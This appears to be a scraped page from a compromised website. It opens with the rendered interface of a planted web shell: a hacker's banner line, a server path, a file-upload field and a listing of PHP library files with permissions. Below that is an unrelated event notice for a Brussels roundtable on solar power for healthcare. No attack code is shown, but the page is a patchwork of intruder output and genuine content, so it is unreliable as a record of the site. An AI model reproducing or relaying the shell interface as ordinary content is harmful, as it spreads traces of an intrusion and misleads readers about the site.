I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
ArrayEnabled.php5056 KBJune 14 2023 23:18:300666
BinaryComparison.php6505 KBJune 14 2023 23:18:300666
Calculation.php248950 KBJune 14 2023 23:18:300666
Category.php721 KBJune 14 2023 23:18:300666
Database-June 14 2023 23:18:300777
Database.php23973 KBJune 14 2023 23:18:300666
DateTime.php36007 KBJune 14 2023 23:18:300666
DateTimeExcel-June 14 2023 23:18:300777
Engine-June 14 2023 23:18:300777
Engineering-June 14 2023 23:18:300777
Engineering.php53040 KBJune 14 2023 23:18:300666
Exception.php671 KBJune 14 2023 23:18:300666
ExceptionHandler.php440 KBJune 14 2023 23:18:300666
Financial-June 14 2023 23:18:300777
Financial.php61709 KBJune 14 2023 23:18:300666
FormulaParser.php22626 KBJune 14 2023 23:18:300666
FormulaToken.php4303 KBJune 14 2023 23:18:300666
Functions.php19201 KBJune 14 2023 23:18:300666
Information-June 14 2023 23:18:300777
Internal-June 14 2023 23:18:300777
Logical-June 14 2023 23:18:300777
Logical.php11670 KBJune 14 2023 23:18:300666
LookupRef-June 14 2023 23:18:300777
LookupRef.php16514 KBJune 14 2023 23:18:300666
MathTrig-June 14 2023 23:18:300777
MathTrig.php41719 KBJune 14 2023 23:18:300666
Statistical-June 14 2023 23:18:300777
Statistical.php56431 KBJune 14 2023 23:18:300666
TextData-June 14 2023 23:18:300777
TextData.php12506 KBJune 14 2023 23:18:300666
Token-June 14 2023 23:18:300777
Web-June 14 2023 23:18:300777
Web.php629 KBJune 14 2023 23:18:300666
locale-June 14 2023 23:18:300777
VORNE.AI - Event Details
Building Investment Models for Solarising Health
30 May
2024
CHIEF

Building Investment Models for Solarising Health

Lack of reliable electricity is a major impediment to scaling access to healthcare. Solar solutions are already demonstrating great potential to transform last mile health care and pandemic preparedness. This roundtable brings select ministers and investors from the multilaterals and private sector to explore investment models for scaling access to electricity for healthcare.

Thursday 30 May | 18H00-19H30 | Intercontinental Hotel, Bruxelles

Tags: